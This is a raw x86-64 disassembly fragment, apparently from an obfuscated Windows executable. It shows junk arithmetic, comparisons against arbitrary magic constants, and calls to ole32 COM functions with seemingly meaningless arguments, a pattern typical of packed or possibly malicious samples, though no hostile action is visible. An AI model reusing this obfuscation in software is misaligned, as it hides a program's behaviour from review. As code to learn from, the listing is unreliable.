mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a84], eax
lea rcx, [rsp + 0x14690]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x1ab8], eax
jmp 0x140004041
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov dword [rsp + 0x1abc], eax
cmp dword [rsp + 0x1abc], 0
je 0x140003fdb
jmp 0x140004028
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x3310], rax
mov rax, qword [rsp + 0x3290]
mov qword [rsp + 0x3318], rax
lea rax, [rsp + 0x1a98]
mov qword [rsp + 0x3320], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x3328], rax
mov dword [rsp + 0x1ac0], 0x4886
jmp 0x140004041
mov r8d, dword [rsp + 0x1a84]
mov dx, 0x8f
mov ecx, dword [rsp + 0x1a84]
call fcn.1400d8af0
nop
mov dword [rsp + 0x1ac4], 0xf5a
lea rax, [rsp + 0x770]
mov qword [rsp + 0x3330], rax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov dword [rsp + 0x1ac8], eax
cmp dword [rsp + 0x1ac8], 0xfa5
je 0x1400d88bf
cmp dword [rsp + 0x1ac8], 0xe49a
je 0x140004091
jmp 0x1400d8962
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov edx, dword [section..data]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x1400041a3
lea rdx, [rsp + 0x146a0]
lea rcx, [rsp + 0x1a84]
call qword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov qword [rsp + 0x3338], rax
movabs rax, 0xef30d91af9ff053
cmp qword [rsp + 0x3338], rax
je 0x140004184
movabs rax, 0x4d2eeac5d4709890
cmp qword [rsp + 0x3338], rax
je 0x14000414a
jmp 0x1400041a3
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1400f3f10], eax
jmp 0x1400041a3
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov dword [rsp + 0x1acc], 0x74ff
cmp dword [rsp + 0x1ac4], 0xec0
jb 0x14000441c
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x3318]
mov rcx, qword [rsp + 0x32b0]
mov qword [rsp + 0x3340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3340]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32a8]
sar rax, cl
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [0x1400f3f10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov eax, dword [rsp + 0x1ac4]
sub eax, 2
mov dword [rsp + 0x1ac4], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x770], ax
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1aa8]
add ecx, eax
mov eax, ecx
mov dword [0x1400f3f10], eax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x32f8]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x3300]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
jmp 0x1400041ae
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov qword [rsp + 0x3348], rax
movabs rax, 0x4643f024cfd0231b
cmp qword [rsp + 0x3348], rax
je 0x140004587
movabs rax, 0x75e0a845bfa6abfe
cmp qword [rsp + 0x3348], rax
je 0x140004460
jmp 0x140004655
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x32d0]
mov qword [rsp + 0x3350], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3350]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ad0], al
cmp byte [rsp + 0x1ad0], 0x1a
je 0x1400044e9
cmp byte [rsp + 0x1ad0], 0xe4
je 0x1400044bf
jmp 0x140004582
mov rax, qword [rsp + 0x32e8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x32e8]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0xc9]
call fcn.1400d9880
nop
jmp 0x140004582
lea r8, [rsp + 0x3310]
mov edx, 0x26
lea rcx, [rsp + 0x146b0]
call qword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [rsp + 0x1ad4], eax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a84], eax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1a98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
lea rdx, [rsp + 0x3320]
lea rcx, [rsp + 0x32b0]
call qword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [rsp + 0x1a78], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3310]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x32a8], rax
jmp 0x140004655
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3318]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3318]
mov qword [rsp + 0x3358], rax
movabs rax, 0xb7564aa455c21bab
cmp qword [rsp + 0x3358], rax
je 0x1400045f2
jmp 0x140004635
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
movzx r8d, word [rsp + 0x770]
mov rax, qword [rsp + 0x3330]
movzx edx, word [rax]
mov rax, qword [rsp + 0x32b8]
movzx ecx, byte [rax]
call fcn.1400d9880
nop
jmp 0x140004655
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov eax, dword [rsp + 0x1a84]
mov dword [rsp + 0x1ad8], eax
cmp dword [rsp + 0x1ad8], 0x6b3adf99
je 0x1400047c6
cmp dword [rsp + 0x1ad8], 0xb71980e9
je 0x140004686
jmp 0x140004823
lea rax, [rsp + 0x32b0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x146c0]
lea r8, [rsp + 0x146b0]
mov edx, 0x1c
lea rcx, [rsp + 0x146a0]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0x1adc], eax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov dword [rsp + 0x1ae0], eax
cmp dword [rsp + 0x1ae0], 0x1d0f7458
je 0x140004720
jmp 0x1400047a8
lea r9, [rsp + 0x3320]
lea r8, [rsp + 0x146d0]
lea rdx, [rsp + 0x32a8]
lea rcx, [rsp + 0x3328]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x1adc], eax
mov rax, qword [rsp + 0x32f8]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3290]
shl rax, cl
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1a98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
jmp 0x1400047c4
mov rax, qword [rsp + 0x32f8]
mov r8d, dword [rax]
mov dx, 0xdc
mov ecx, dword [rsp + 0x1a84]
call fcn.1400d8af0
nop
jmp 0x140004823
lea rdx, [rsp + 0x3320]
lea rcx, [rsp + 0x146e0]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x1a78], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
sar eax, cl
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov dword [rsp + 0x1ae4], 0xcead
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov qword [rsp + 0x3360], rax
cmp qword [rsp + 0x3360], 0
je 0x140004869
movabs rax, 0x6cd612d0e41c7612
cmp qword [rsp + 0x3360], rax
je 0x1400048fc
jmp 0x140004a08
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x32f8]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1858], eax
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x3368], rax
mov dword [rsp + 0x1ae8], 0x7f56
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x3370], rax
mov dword [rsp + 0x1aec], 0x5047
lea rax, [rsp + 0x1aa8]
mov qword [rsp + 0x3378], rax
jmp 0x140004a08
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov dword [rsp + 0x1af0], eax
cmp dword [rsp + 0x1af0], 0x25eb1bf3
je 0x1400049aa
cmp dword [rsp + 0x1af0], 0x2d138a57
je 0x14000494e
jmp 0x140004a08
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x770], ax
lea rdx, [rsp + 0x32a8]
lea rcx, [rsp + 0x1ad4]
call qword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
jmp 0x140004a08
lea r8, [rsp + 0x770]
lea rdx, [rsp + 0xc9]
lea rcx, [rsp + 0x146f0]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x1ad4], eax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x32d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x3318]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140004abc
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
and eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e0]
mov rcx, qword [rsp + 0x32f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x32e0]
mov r8d, dword [rax]
mov dx, 0x3a
mov ecx, dword [section..data]
call fcn.1400d8af0
nop
jmp 0x1400d8747
cmp dword [rsp + 0x1a90], 0x332b
jb 0x140005062
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3310]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x1858]
shl eax, cl
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3318]
mov rcx, qword [rsp + 0x3368]
mov qword [rsp + 0x3380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3380]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1a90]
sub eax, 0x1e
mov dword [rsp + 0x1a90], eax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3290]
shr rax, cl
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1a84]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [0x1400f3f10]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3378]
mov rcx, qword [rsp + 0x3320]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1aa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1858]
shl eax, cl
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
or eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc9]
and eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x32d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x32f8]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1a98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
jmp 0x140004abc
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1400f3004], eax
lea rax, [rsp + 0xca]
mov qword [rsp + 0x3388], rax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x3370]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32a8]
shl rax, cl
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [0x1400f3f10]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3318], rax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1858]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [0x1400f3004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov eax, dword [0x1400f3f10]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3310]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov eax, dword [rsp + 0x1a98]
movzx ecx, al
mov eax, dword [rsp + 0x1aa8]
sar eax, cl
mov dword [0x1400f3f10], eax
mov eax, dword [rsp + 0x1ab0]
add eax, 0x46
mov dword [rsp + 0x1ab0], eax
movzx eax, byte [rsp + 0xc9]
movzx ecx, byte [rsp + 0xca]
or eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32a8]
shl rax, cl
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3318]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3318], rax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x3300]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
cmp dword [rsp + 0x1ab0], 0x58dc
jbe 0x14000508b
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov dword [rsp + 0x1af4], eax
